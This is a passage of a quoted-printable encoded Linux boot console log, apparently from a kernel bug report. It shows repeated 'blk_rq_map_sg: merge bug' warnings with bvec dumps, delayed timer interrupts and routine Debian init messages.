      =20
            7: 0 4096 253242 000000007e6e7b80                            =
      =20
            8: 0 4096 253243 000000007e6e7b80                            =
      =20
            9: 0 4096 253244 000000007e6e7b80                            =
      =20
           10: 0 4096 253245 000000007e6e7b80                            =
      =20
           11: 0 4096 253246 000000007e6e7b80                            =
      =20
           12: 0 4096 253247 000000007e6e7b80                            =
      =20
           13: 0 4096 248640 000000007e6e7b80                            =
      =20
           14: 0 4096 248641 000000007e6e7b80                            =
      =20
           15: 0 4096 248642 000000007e6e7b80                            =
      =20
           16: 0 4096 248643 000000007e6e7b80                            =
      =20
           17: 0 4096 248644 000000007e6e7b80                            =
      =20
           18: 0 4096 248645 000000007e6e7b80                            =
      =20
           19: 0 4096 248646 000000007e6e7b80                            =
      =20
           20: 0 4096 248647 000000007e6e7b80                            =
      =20
           21: 0 4096 248648 000000007e6e7b80                            =
      =20
           22: 0 4096 248649 000000007e6e7b80                            =
      =20
           23: 0 4096 248650 000000007e6e7b80                            =
      =20
           24: 0 4096 248651 000000007e6e7b80                            =
      =20
           25: 0 4096 248652 000000007e6e7b80                            =
      =20
           26: 0 4096 248653 000000007e6e7b80                            =
      =20
           27: 0 4096 248654 000000007e6e7b80                            =
      =20
           28: 0 4096 248655 000000007e6e7b80                            =
      =20
           29: 0 4096 246784 000000007e6e7b80                            =
      =20
           30: 0 4096 246785 000000007e6e7b80                            =
      =20
           31: 0 4096 246786 000000007e6e7b80                            =
      =20
           32: 0 4096 246787 000000007e6e7b80                            =
      =20
           33: 0 4096 246788 000000007e6e7b80                            =
      =20
           34: 0 4096 246789 000000007e6e7b80                            =
      =20
           35: 0 4096 246790 000000007e6e7b80                            =
      =20
           36: 0 4096 246791 000000007e6e7b80                            =
      =20
           37: 0 4096 246792 000000007e6e7b80                            =
      =20
           38: 0 4096 246793 000000007e6e7b80                            =
      =20
           39: 0 4096 246794 000000007e6e7b80                            =
      =20
           40: 0 4096 246795 000000007e6e7b80                            =
      =20
           41: 0 4096 246796 000000007e6e7b80                            =
      =20
           42: 0 4096 246797 000000007e6e7b80                            =
      =20
           43: 0 4096 246798 000000007e6e7b80                            =
      =20
           44: 0 4096 246799 000000007e6e7b80                            =
      =20
           45: 0 4096 246800 000000007e6e7b80                            =
      =20
           46: 0 4096 246801 000000007e6e7b80                            =
      =20
           47: 0 4096 246802 000000007e6e7b80                            =
      =20
           48: 0 4096 246803 000000007e6e7b80                            =
      =20
           49: 0 4096 246804 000000007e6e7b80                            =
      =20
           50: 0 4096 246805 000000007e6e7b80                            =
      =20
           51: 0 4096 246806 000000007e6e7b80                            =
      =20
           52: 0 4096 246807 000000007e6e7b80                            =
      =20
           53: 0 4096 246808 000000007e6e7b80                            =
      =20
           54: 0 4096 246809 000000007e6e7b80                            =
      =20
           55: 0 4096 246810 000000007e6e7b80                            =
      =20
           56: 0 4096 246811 000000007e6e7b80                            =
      =20
           57: 0 4096 246812 000000007e6e7b80                            =
      =20
           58: 0 4096 246813 000000007e6e7b80                            =
      =20
           59: 0 4096 246814 000000007e6e7b80                            =
      =20
           60: 0 4096 246815 000000007e6e7b80                            =
      =20
           61: 0 4096 248672 000000007e6e7b80                            =
      =20
           62: 0 4096 248673 000000007e6e7b80                            =
      =20
           63: 0 4096 248674 000000007e6e7b80                            =
      =20
timer_interrupt(CPU 3): delayed! cycles A6274EF5 rem 24B68B  next/now =
2A77BD1E75
done.                                                                    =
      =20
NET: Registered protocol family 10                                       =
      =20
[....] Activating swap...done.                                           =
      =20
EXT3-fs (sdb4): using internal journal                                   =
      =20
[....] Activating lvm and md swap...done.                                =
      =20
[....] Checking file systems...fsck from util-linux 2.27.1               =
      =20
BOOT: clean, 72/62496 files, 209445/249004 blocks                        =
      =20
blk_rq_map_sg: merge bug: 6 3, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6458(f:24490000, t:1)              =
      =20
HOME: clean, 682            0: 0 4096 253438 000000007febd880            =
      =20
246/91578368 fil            1: 0 4096 253439 000000007febd880            =
      =20
es, 12758144/366            2: 0 4096 253216 000000007febd880            =
      =20
283264 blocks                                                            =
      =20
            3: 0 4096 253217 000000007febd880                            =
      =20
            4: 0 4096 253218 000000007febd880                            =
      =20
            5: 0 4096 253219 000000007febd880                            =
      =20
            6: 0 4096 253220 000000007febd880                            =
      =20
            7: 0 4096 253221 000000007febd880                            =
      =20
            8: 0 4096 246149 000000007febd880                            =
      =20
            9: 0 4096 246150 000000007febd880                            =
      =20
           10: 0 4096 246151 000000007febd880                            =
      =20
           11: 0 4096 246152 000000007febd880                            =
      =20
           12: 0 4096 246153 000000007febd880                            =
      =20
           13: 0 4096 246154 000000007febd880                            =
      =20
           14: 0 4096 246155 000000007febd880                            =
      =20
           15: 0 4096 246156 000000007febd880                            =
      =20
           16: 0 4096 246157 000000007febd880                            =
      =20
           17: 0 4096 246158 000000007febd880                            =
      =20
           18: 0 4096 246159 000000007febd880                            =
      =20
           19: 0 4096 246160 000000007febd880                            =
      =20
           20: 0 4096 246161 000000007febd880                            =
      =20
           21: 0 4096 246162 000000007febd880                            =
      =20
           22: 0 4096 246163 000000007febd880                            =
      =20
           23: 0 4096 246164 000000007febd880                            =
      =20
           24: 0 4096 246165 000000007febd880                            =
      =20
           25: 0 4096 246166 000000007febd880                            =
      =20
           26: 0 4096 246167 000000007febd880                            =
      =20
           27: 0 4096 246168 000000007febd880                            =
      =20
           28: 0 4096 246169 000000007febd880                            =
      =20
           29: 0 4096 246170 000000007febd880                            =
      =20
           30: 0 4096 246171 000000007febd880                            =
      =20
           31: 0 4096 246172 000000007febd880                            =
      =20
           32: 0 4096 246173 000000007febd880                            =
      =20
           33: 0 4096 246174 000000007febd880                            =
      =20
           34: 0 4096 246175 000000007febd880                            =
      =20
           35: 0 4096 246176 000000007febd880                            =
      =20
           36: 0 4096 246177 000000007febd880                            =
      =20
           37: 0 4096 246178 000000007febd880                            =
      =20
           38: 0 4096 246179 000000007febd880                            =
      =20
           39: 0 4096 246180 000000007febd880                            =
      =20
           40: 0 4096 246181 000000007febd880                            =
      =20
           41: 0 4096 246182 000000007febd880                            =
      =20
           42: 0 4096 246183 000000007febd880                            =
      =20
           43: 0 4096 246184 000000007febd880                            =
      =20
           44: 0 4096 246185 000000007febd880                            =
      =20
           45: 0 4096 246186 000000007febd880                            =
      =20
           46: 0 4096 246187 000000007febd880                            =
      =20
           47: 0 4096 246188 000000007febd880                            =
      =20
           48: 0 4096 246189 000000007febd880                            =
      =20
           49: 0 4096 246190 000000007febd880                            =
      =20
           50: 0 4096 246191 000000007febd880                            =
      =20
           51: 0 4096 246192 000000007febd880                            =
      =20
           52: 0 4096 246193 000000007febd880                            =
      =20
           53: 0 4096 246194 000000007febd880                            =
      =20
           54: 0 4096 246195 000000007febd880                            =
      =20
           55: 0 4096 246196 000000007febd880                            =
      =20
           56: 0 4096 246197 000000007febd880                            =
      =20
           57: 0 4096 246198 000000007febd880                            =
      =20
           58: 0 4096 246199 000000007febd880                            =
      =20
           59: 0 4096 246200 000000007febd880                            =
      =20
           60: 0 4096 246201 000000007febd880                            =
      =20
           61: 0 4096 246202 000000007febd880                            =
      =20
           62: 0 4096 246203 000000007febd880                            =
      =20
           63: 0 4096 246204 000000007febd880                            =
      =20
timer_interrupt(CPU 1): delayed! cycles AAC27238 rem 4E4748  next/now =
2C4E6D641D
blk_rq_map_sg: merge bug: 8 5, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e77ac28(f:24490000, t:1)              =
      =20
            0: 0 4096 246226 000000007febd4c0                            =
      =20
            1: 0 4096 246227 000000007febd4c0                            =
      =20
            2: 0 4096 246228 000000007febd4c0                            =
      =20
            3: 0 4096 246229 000000007febd4c0                            =
      =20
            4: 0 4096 246230 000000007febd4c0                            =
      =20
            5: 0 4096 246231 000000007febd4c0                            =
      =20
            6: 0 4096 246232 000000007febd4c0                            =
      =20
            7: 0 4096 246233 000000007febd4c0                            =
      =20
            8: 0 4096 246234 000000007febd4c0                            =
      =20
            9: 0 4096 246235 000000007febd4c0                            =
      =20
           10: 0 4096 246236 000000007febd4c0                            =
      =20
           11: 0 4096 246237 000000007febd4c0                            =
      =20
           12: 0 4096 246238 000000007febd4c0                            =
      =20
           13: 0 4096 246239 000000007febd4c0                            =
      =20
           14: 0 4096 246240 000000007febd4c0                            =
      =20
           15: 0 4096 246241 000000007febd4c0                            =
      =20
           16: 0 4096 246242 000000007febd4c0                            =
      =20
           17: 0 4096 246243 000000007febd4c0                            =
      =20
           18: 0 4096 255348 000000007febd4c0                            =
      =20
           19: 0 4096 255349 000000007febd4c0                            =
      =20
           20: 0 4096 255350 000000007febd4c0                            =
      =20
           21: 0 4096 255351 000000007febd4c0                            =
      =20
           22: 0 4096 248684 000000007febd4c0                            =
      =20
           23: 0 4096 248685 000000007febd4c0                            =
      =20
           24: 0 4096 248686 000000007febd4c0                            =
      =20
           25: 0 4096 248687 000000007febd4c0                            =
      =20
           26: 0 4096 248668 000000007febd4c0                            =
      =20
           27: 0 4096 248669 000000007febd4c0                            =
      =20
           28: 0 4096 248670 000000007febd4c0                            =
      =20
           29: 0 4096 248671 000000007febd4c0                            =
      =20
           30: 0 4096 248440 000000007febd4c0                            =
      =20
           31: 0 4096 248441 000000007febd4c0                            =
      =20
           32: 0 4096 248442 000000007febd4c0                            =
      =20
           33: 0 4096 248443 000000007febd4c0                            =
      =20
           34: 0 4096 248444 000000007febd4c0                            =
      =20
           35: 0 4096 248445 000000007febd4c0                            =
      =20
           36: 0 4096 248446 000000007febd4c0                            =
      =20
           37: 0 4096 248447 000000007febd4c0                            =
      =20
           38: 0 4096 248448 000000007febd4c0                            =
      =20
           39: 0 4096 248449 000000007febd4c0                            =
      =20
           40: 0 4096 248450 000000007febd4c0                            =
      =20
           41: 0 4096 248451 000000007febd4c0                            =
      =20
           42: 0 4096 248452 000000007febd4c0                            =
      =20
           43: 0 4096 248453 000000007febd4c0                            =
      =20
           44: 0 4096 248454 000000007febd4c0                            =
      =20
           45: 0 4096 248455 000000007febd4c0                            =
      =20
           46: 0 4096 248456 000000007febd4c0                            =
      =20
           47: 0 4096 248457 000000007febd4c0                            =
      =20
           48: 0 4096 248458 000000007febd4c0                            =
      =20
           49: 0 4096 248459 000000007febd4c0                            =
      =20
           50: 0 4096 248460 000000007febd4c0                            =
      =20
           51: 0 4096 248461 000000007febd4c0                            =
      =20
           52: 0 4096 248462 000000007febd4c0                            =
      =20
           53: 0 4096 248463 000000007febd4c0                            =
      =20
           54: 0 4096 248464 000000007febd4c0                            =
      =20
           55: 0 4096 248465 000000007febd4c0                            =
      =20
           56: 0 4096 248466 000000007febd4c0                            =
      =20
           57: 0 4096 248467 000000007febd4c0                            =
      =20
           58: 0 4096 248468 000000007febd4c0                            =
      =20
           59: 0 4096 248469 000000007febd4c0                            =
      =20
           60: 0 4096 248470 000000007febd4c0                            =
      =20
           61: 0 4096 248471 000000007febd4c0                            =
      =20
           62: 0 4096 248472 000000007febd4c0                            =
      =20
           63: 0 4096 248473 000000007febd4c0                            =
      =20
timer_interrupt(CPU 1): delayed! cycles A62864FC rem 23A084  next/now =
2CFD11A491
done.                                                                    =
      =20
[....] Cleaning up temporary files... /tmp. ok                           =
      =20
EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null)  =
      =20
[....] Mounting local filesystems...done.                                =
      =20
[....] Activating swapfile swap...done.                                  =
      =20
[....] Cleaning up temporary files.... ok                                =
      =20
[....] Setting kernel variables ...done.                                 =
      =20
[....] Configuring network interfaces...ifup: interface eth0 already =
configured=20
done.                                                                    =
      =20
[....] Cleaning up temporary files.... ok                                =
      =20
[....] Setting up X socket directories... /tmp/.X11-unix /tmp/.ICE-unix. =
ok    =20
INIT: Entering runlevel: 2                                               =
      =20
[info] Using makefile-style concurrent boot in runlevel 2.               =
      =20
[....] Starting enhanced syslogd: rsyslogd. ok                           =
      =20
Starting ctdbd service: blk_rq_map_sg: merge bug: 2 1, extra_len 0, =
dma_drain 0=20
check_bvec: dump bvec for 000000007e2900d0(f:24490000, t:1)              =
      =20
            0: 0 4096 240513 000000007c4b0d00                            =
      =20
            1: 0 4096 240514 000000007c4b0d00                            =
      =20
            2: 0 4096 240515 000000007c4b0d00                            =
      =20
            3: 0 4096 240516 000000007c4b0d00                            =
      =20
            4: 0 4096 240517 000000007c4b0d00                            =
      =20
            5: 0 4096 240518 000000007c4b0d00                            =
      =20
            6: 0 4096 240519 000000007c4b0d00                            =
      =20
            7: 0 4096 240520 000000007c4b0d00                            =
      =20
            8: 0 4096 240521 000000007c4b0d00                            =
      =20
            9: 0 4096 240522 000000007c4b0d00                            =
      =20
           10: 0 4096 240523 000000007c4b0d00                            =
      =20
           11: 0 4096 240524 000000007c4b0d00                            =
      =20
           12: 0 4096 240525 000000007c4b0d00                            =
      =20
           13: 0 4096 240526 000000007c4b0d00                            =
      =20
           14: 0 4096 240527 000000007c4b0d00                            =
      =20
           15: 0 4096 240528 000000007c4b0d00                            =
      =20
           16: 0 4096 240529 000000007c4b0d00                            =
      =20
blk_rq_map_sg: merge bug: 6 5, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007edc9c68(f:24490000, t:1)              =
      =20
            0: 0 4096 240495 000000007ca4b7c0                            =
      =20
            1: 0 4096 240389 000000007ca4b7c0                            =
      =20
            2: 0 4096 239814 000000007ca4b7c0                            =
      =20
            3: 0 4096 242111 000000007ca4b7c0                            =
      =20
            4: 0 4096 240575 000000007ca4b7c0                            =
      =20
            5: 0 4096 240576 000000007ca4b7c0                            =
      =20
            6: 0 4096 240577 000000007ca4b7c0                            =
      =20
            7: 0 4096 240578 000000007ca4b7c0                            =
      =20
            8: 0 4096 240579 000000007ca4b7c0                            =
      =20
            9: 0 4096 240580 000000007ca4b7c0                            =
      =20
           10: 0 4096 240581 000000007ca4b7c0                            =
      =20
           11: 0 4096 240582 000000007ca4b7c0                            =
      =20
           12: 0 4096 240583 000000007ca4b7c0                            =
      =20
           13: 0 4096 240584 000000007ca4b7c0                            =
      =20
           14: 0 4096 240585 000000007ca4b7c0                            =
      =20
           15: 0 4096 240586 000000007ca4b7c0                            =
      =20
           16: 0 4096 240587 000000007ca4b7c0                            =
      =20
           17: 0 4096 240588 000000007ca4b7c0                            =
      =20
           18: 0 4096 240589 000000007ca4b7c0                            =
      =20
           19: 0 4096 240590 000000007ca4b7c0                            =
      =20
           20: 0 4096 240591 000000007ca4b7c0                            =
      =20
           21: 0 4096 240592 000000007ca4b7c0                            =
      =20
           22: 0 4096 240593 000000007ca4b7c0                            =
      =20
           23: 0 4096 240594 000000007ca4b7c0                            =
      =20
           24: 0 4096 240595 000000007ca4b7c0                            =
      =20
           25: 0 4096 240596 000000007ca4b7c0                            =
      =20
           26: 0 4096 240597 000000007ca4b7c0                            =
      =20
           27: 0 4096 240598 000000007ca4b7c0                            =
      =20
           28: 0 4096 240599 000000007ca4b7c0                            =
      =20
timer_interrupt(CPU 3): delayed! cycles 4F17FFAF rem 2E30D1  next/now =
324FD1B8FF
timer_interrupt(CPU 2): delayed! cycles 4EF1777C rem 54B904  next/now =
324FF85F60
[....] Starting deferred execution scheduler: atdblk_rq_map_sg: merge =
bug: 7 6,0
check_bvec: dump bvec for 000000007ee66a38(f:24490000, t:1)              =
      =20
            0: 0 4096 239173 000000007ee657c0                            =
      =20
            1: 0 4096 239172 000000007ee657c0                            =
      =20
            2: 0 4096 239171 000000007ee657c0                            =
      =20
            3: 0 4096 239170 000000007ee657c0                            =
      =20
            4: 0 4096 239169 000000007ee657c0                            =
      =20
            5: 0 4096 239205 000000007ee657c0                            =
      =20
            6: 0 4096 239206 000000007ee657c0                            =
      =20
            7: 0 4096 239207 000000007ee657c0                            =
      =20
            8: 0 4096 239208 000000007ee657c0                            =
      =20
            9: 0 4096 239209 000000007ee657c0                            =
      =20
           10: 0 4096 239210 000000007ee657c0                            =
      =20
           11: 0 4096 239211 000000007ee657c0                            =
      =20
           12: 0 4096 239212 000000007ee657c0                            =
      =20
           13: 0 4096 239213 000000007ee657c0                            =
      =20
           14: 0 4096 239214 000000007ee657c0                            =
      =20
           15: 0 4096 239215 000000007ee657c0                            =
      =20
           16: 0 4096 239216 000000007ee657c0                            =
      =20
           17: 0 4096 239217 000000007ee657c0                            =
      =20
           18: 0 4096 239218 000000007ee657c0                            =
      =20
           19: 0 4096 239219 000000007ee657c0                            =
      =20
           20: 0 4096 239220 000000007ee657c0                            =
      =20
           21: 0 4096 239221 000000007ee657c0                            =
      =20
           22: 0 4096 239222 000000007ee657c0                            =
      =20
           23: 0 4096 239223 000000007ee657c0                            =
      =20
           24: 0 4096 239224 000000007ee657c0                            =
      =20
           25: 0 4096 239225 000000007ee657c0                            =
      =20
           26: 0 4096 239226 000000007ee657c0                            =
      =20
           27: 0 4096 239227 000000007ee657c0                            =
      =20
           28: 0 4096 239228 000000007ee657c0                            =
      =20
           29: 0 4096 239229 000000007ee657c0                            =
      =20
           30: 0 4096 239230 000000007ee657c0                            =
      =20
           31: 0 4096 239231 000000007ee657c0                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 56C36908 rem 426BF8  next/now =
32F260491D
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007ee66b90(f:24490000, t:1)              =
      =20
            0: 0 4096 239232 000000007ee65880                            =
      =20
            1: 0 4096 239233 000000007ee65880                            =
      =20
            2: 0 4096 239234 000000007ee65880                            =
      =20
            3: 0 4096 239235 000000007ee65880                            =
      =20
            4: 0 4096 239236 000000007ee65880                            =
      =20
            5: 0 4096 239237 000000007ee65880                            =
      =20
            6: 0 4096 239238 000000007ee65880                            =
      =20
            7: 0 4096 239239 000000007ee65880                            =
      =20
            8: 0 4096 239240 000000007ee65880                            =
      =20
            9: 0 4096 239241 000000007ee65880                            =
      =20
           10: 0 4096 239242 000000007ee65880                            =
      =20
           11: 0 4096 239243 000000007ee65880                            =
      =20
           12: 0 4096 239244 000000007ee65880                            =
      =20
           13: 0 4096 239245 000000007ee65880                            =
      =20
           14: 0 4096 239246 000000007ee65880                            =
      =20
           15: 0 4096 239247 000000007ee65880                            =
      =20
           16: 0 4096 239248 000000007ee65880                            =
      =20
           17: 0 4096 239249 000000007ee65880                            =
      =20
           18: 0 4096 239250 000000007ee65880                            =
      =20
           19: 0 4096 239251 000000007ee65880                            =
      =20
           20: 0 4096 239252 000000007ee65880                            =
      =20
           21: 0 4096 239253 000000007ee65880                            =
      =20
           22: 0 4096 239254 000000007ee65880                            =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007ee66ce8(f:24490000, t:1)              =
      =20
            0: 0 4096 239255 000000007ee65940                            =
      =20
            1: 0 4096 239256 000000007ee65940                            =
      =20
            2: 0 4096 239257 000000007ee65940                            =
      =20
            3: 0 4096 239258 000000007ee65940                            =
      =20
            4: 0 4096 239259 000000007ee65940                            =
      =20
            5: 0 4096 239260 000000007ee65940                            =
      =20
            6: 0 4096 239261 000000007ee65940                            =
      =20
            7: 0 4096 239262 000000007ee65940                            =
      =20
            8: 0 4096 239263 000000007ee65940                            =
      =20
            9: 0 4096 239264 000000007ee65940                            =
      =20
           10: 0 4096 239265 000000007ee65940                            =
      =20
           11: 0 4096 239266 000000007ee65940                            =
      =20
           12: 0 4096 239267 000000007ee65940                            =
      =20
           13: 0 4096 239268 000000007ee65940                            =
      =20
           14: 0 4096 239269 000000007ee65940                            =
      =20
           15: 0 4096 239270 000000007ee65940                            =
      =20
           16: 0 4096 239271 000000007ee65940                            =
      =20
           17: 0 4096 239272 000000007ee65940                            =
      =20
           18: 0 4096 239273 000000007ee65940                            =
      =20
           19: 0 4096 239274 000000007ee65940                            =
      =20
           20: 0 4096 239275 000000007ee65940                            =
      =20
           21: 0 4096 239276 000000007ee65940                            =
      =20
           22: 0 4096 239277 000000007ee65940                            =
      =20
           23: 0 4096 239278 000000007ee65940                            =
      =20
           24: 0 4096 239279 000000007ee65940                            =
      =20
           25: 0 4096 239280 000000007ee65940                            =
      =20
           26: 0 4096 239281 000000007ee65940                            =
      =20
           27: 0 4096 239282 000000007ee65940                            =
      =20
           28: 0 4096 239283 000000007ee65940                            =
      =20
           29: 0 4096 239284 000000007ee65940                            =
      =20
           30: 0 4096 239285 000000007ee65940                            =
      =20
           31: 0 4096 239286 000000007ee65940                            =
      =20
blk_rq_map_sg: merge bug: 5 4, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6300(f:24490000, t:1)              =
      =20
            0: 0 4096 240629 000000007ca4b940                            =
      =20
            1: 0 4096 238698 000000007ca4b940                            =
      =20
            2: 0 4096 240630 000000007ca4b940                            =
      =20
            3: 0 4096 239360 000000007ca4b940                            =
      =20
            4: 0 4096 239361 000000007ca4b940                            =
      =20
            5: 0 4096 239362 000000007ca4b940                            =
      =20
            6: 0 4096 239363 000000007ca4b940                            =
      =20
            7: 0 4096 239364 000000007ca4b940                            =
      =20
            8: 0 4096 239365 000000007ca4b940                            =
      =20
            9: 0 4096 239366 000000007ca4b940                            =
      =20
           10: 0 4096 239367 000000007ca4b940                            =
      =20
           11: 0 4096 239368 000000007ca4b940                            =
      =20
           12: 0 4096 239369 000000007ca4b940                            =
      =20
           13: 0 4096 239370 000000007ca4b940                            =
      =20
           14: 0 4096 239371 000000007ca4b940                            =
      =20
           15: 0 4096 239372 000000007ca4b940                            =
      =20
           16: 0 4096 239373 000000007ca4b940                            =
      =20
           17: 0 4096 239374 000000007ca4b940                            =
      =20
           18: 0 4096 239375 000000007ca4b940                            =
      =20
           19: 0 4096 239376 000000007ca4b940                            =
      =20
timer_interrupt(CPU 0): delayed! cycles D6447081 rem 4F337F  next/now =
33C8F3ED16
sched: RT throttling activated                                           =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6458(f:24490000, t:1)              =
      =20
            0: 0 4096 239377 000000007febd700                            =
      =20
            1: 0 4096 239378 000000007febd700                            =
      =20
            2: 0 4096 239379 000000007febd700                            =
      =20
            3: 0 4096 239380 000000007febd700                            =
      =20
            4: 0 4096 239381 000000007febd700                            =
      =20
            5: 0 4096 239382 000000007febd700                            =
      =20
            6: 0 4096 239383 000000007febd700                            =
      =20
            7: 0 4096 239384 000000007febd700                            =
      =20
            8: 0 4096 239385 000000007febd700                            =
      =20
            9: 0 4096 239386 000000007febd700                            =
      =20
           10: 0 4096 239387 000000007febd700                            =
      =20
           11: 0 4096 239388 000000007febd700                            =
      =20
           12: 0 4096 239389 000000007febd700                            =
      =20
           13: 0 4096 239390 000000007febd700                            =
      =20
           14: 0 4096 239391 000000007febd700                            =
      =20
           15: 0 4096 239392 000000007febd700                            =
      =20
           16: 0 4096 239393 000000007febd700                            =
      =20
           17: 0 4096 239394 000000007febd700                            =
      =20
           18: 0 4096 239395 000000007febd700                            =
      =20
           19: 0 4096 239396 000000007febd700                            =
      =20
           20: 0 4096 239397 000000007febd700                            =
      =20
           21: 0 4096 239398 000000007febd700                            =
      =20
           22: 0 4096 239399 000000007febd700                            =
      =20
           23: 0 4096 239400 000000007febd700                            =
      =20
           24: 0 4096 239401 000000007febd700                            =
      =20
           25: 0 4096 239402 000000007febd700                            =
      =20
           26: 0 4096 239403 000000007febd700                            =
      =20
           27: 0 4096 239404 000000007febd700                            =
      =20
timer_interrupt(CPU 2): delayed! cycles 4E731B03 rem 3A7EFD  next/now =
341DE7FCE7
blk_rq_map_sg: merge bug: 5 4, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007ee66a38(f:24490000, t:1)              =
      =20
            0: 0 4096 239452 000000007ee657c0                            =
      =20
            1: 0 4096 239451 000000007ee657c0                            =
      =20
            2: 0 4096 239450 000000007ee657c0                            =
      =20
            3: 0 4096 239484 000000007ee657c0                            =
      =20
            4: 0 4096 239485 000000007ee657c0                            =
      =20
            5: 0 4096 239486 000000007ee657c0                            =
      =20
            6: 0 4096 239487 000000007ee657c0                            =
      =20
            7: 0 4096 239488 000000007ee657c0                            =
      =20
            8: 0 4096 239489 000000007ee657c0                            =
      =20
            9: 0 4096 239490 000000007ee657c0                            =
      =20
           10: 0 4096 239491 000000007ee657c0                            =
      =20
           11: 0 4096 239492 000000007ee657c0                            =
      =20
           12: 0 4096 239493 000000007ee657c0                            =
      =20
           13: 0 4096 239494 000000007ee657c0                            =
      =20
           14: 0 4096 239495 000000007ee657c0                            =
      =20
           15: 0 4096 239496 000000007ee657c0                            =
      =20
           16: 0 4096 239497 000000007ee657c0                            =
      =20
           17: 0 4096 239498 000000007ee657c0                            =
      =20
           18: 0 4096 239499 000000007ee657c0                            =
      =20
           19: 0 4096 239500 000000007ee657c0                            =
      =20
           20: 0 4096 239501 000000007ee657c0                            =
      =20
           21: 0 4096 239502 000000007ee657c0                            =
      =20
           22: 0 4096 239503 000000007ee657c0                            =
      =20
           23: 0 4096 239504 000000007ee657c0                            =
      =20
           24: 0 4096 239505 000000007ee657c0                            =
      =20
           25: 0 4096 239506 000000007ee657c0                            =
      =20
           26: 0 4096 239507 000000007ee657c0                            =
      =20
           27: 0 4096 239508 000000007ee657c0                            =
      =20
           28: 0 4096 239509 000000007ee657c0                            =
      =20
           29: 0 4096 239510 000000007ee657c0                            =
      =20
           30: 0 4096 239511 000000007ee657c0                            =
      =20
           31: 0 4096 239512 000000007ee657c0                            =
      =20
timer_interrupt(CPU 3): delayed! cycles 56A8A3BE rem 5D3142  next/now =
347F81C07E
timer_interrupt(CPU 0): delayed! cycles 56D29C25 rem 3338DB  next/now =
347F57D21A
timer_interrupt(CPU 1): delayed! cycles 564067E7 rem 2CD699  next/now =
347F51971C
. ok                                                                     =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e2904d8(f:24490000, t:1)              =
      =20
            0: 0 4096 237862 000000007ca4be80                            =
      =20
            1: 0 4096 237863 000000007ca4be80                            =
      =20
            2: 0 4096 237864 000000007ca4be80                            =
      =20
            3: 0 4096 237865 000000007ca4be80                            =
      =20
            4: 0 4096 237866 000000007ca4be80                            =
      =20
            5: 0 4096 237867 000000007ca4be80                            =
      =20
            6: 0 4096 237868 000000007ca4be80                            =
      =20
            7: 0 4096 237869 000000007ca4be80                            =
      =20
            8: 0 4096 237870 000000007ca4be80                            =
      =20
            9: 0 4096 237871 000000007ca4be80                            =
      =20
           10: 0 4096 237872 000000007ca4be80                            =
      =20
           11: 0 4096 237873 000000007ca4be80                            =
      =20
           12: 0 4096 237874 000000007ca4be80                            =
      =20
           13: 0 4096 237875 000000007ca4be80                            =
      =20
           14: 0 4096 237876 000000007ca4be80                            =
      =20
           15: 0 4096 237877 000000007ca4be80                            =
      =20
           16: 0 4096 237878 000000007ca4be80                            =
      =20
           17: 0 4096 237879 000000007ca4be80                            =
      =20
           18: 0 4096 237880 000000007ca4be80                            =
      =20
           19: 0 4096 237881 000000007ca4be80                            =
      =20
           20: 0 4096 237882 000000007ca4be80                            =
      =20
           21: 0 4096 237883 000000007ca4be80                            =
      =20
           22: 0 4096 237884 000000007ca4be80                            =
      =20
           23: 0 4096 237885 000000007ca4be80                            =
      =20
           24: 0 4096 237886 000000007ca4be80                            =
      =20
           25: 0 4096 237887 000000007ca4be80                            =
      =20
           26: 0 4096 237888 000000007ca4be80                            =
      =20
           27: 0 4096 237889 000000007ca4be80                            =
      =20
           28: 0 4096 237890 000000007ca4be80                            =
      =20
           29: 0 4096 237891 000000007ca4be80                            =
      =20
           30: 0 4096 237892 000000007ca4be80                            =
      =20
           31: 0 4096 237893 000000007ca4be80                            =
      =20
timer_interrupt(CPU 2): delayed! cycles 567B750F rem 8A5FF1  next/now =
350CEBBB63
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007dcb1050(f:24490000, t:1)              =
      =20
            0: 0 4096 237986 000000007e2c41c0                            =
      =20
            1: 0 4096 237987 000000007e2c41c0                            =
      =20
            2: 0 4096 237988 000000007e2c41c0                            =
      =20
            3: 0 4096 237989 000000007e2c41c0                            =
      =20
            4: 0 4096 237990 000000007e2c41c0                            =
      =20
            5: 0 4096 237991 000000007e2c41c0                            =
      =20
            6: 0 4096 237992 000000007e2c41c0                            =
      =20
            7: 0 4096 237993 000000007e2c41c0                            =
      =20
            8: 0 4096 237994 000000007e2c41c0                            =
      =20
            9: 0 4096 237995 000000007e2c41c0                            =
      =20
           10: 0 4096 237996 000000007e2c41c0                            =
      =20
           11: 0 4096 237997 000000007e2c41c0                            =
      =20
           12: 0 4096 237998 000000007e2c41c0                            =
      =20
           13: 0 4096 237999 000000007e2c41c0                            =
      =20
           14: 0 4096 238000 000000007e2c41c0                            =
      =20
           15: 0 4096 238001 000000007e2c41c0                            =
      =20
           16: 0 4096 238002 000000007e2c41c0                            =
      =20
           17: 0 4096 238003 000000007e2c41c0                            =
      =20
           18: 0 4096 238004 000000007e2c41c0                            =
      =20
           19: 0 4096 238005 000000007e2c41c0                            =
      =20
           20: 0 4096 238006 000000007e2c41c0                            =
      =20
           21: 0 4096 238007 000000007e2c41c0                            =
      =20
           22: 0 4096 238008 000000007e2c41c0                            =
      =20
timer_interrupt(CPU 2): delayed! cycles 4032D163 rem 2CAC9D  next/now =
355E9445E7
blk_rq_map_sg: merge bug: 4 3, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a3168(f:24490000, t:1)              =
      =20
            0: 0 4096 238045 000000007febdd00                            =
      =20
            1: 0 4096 238046 000000007febdd00                            =
      =20
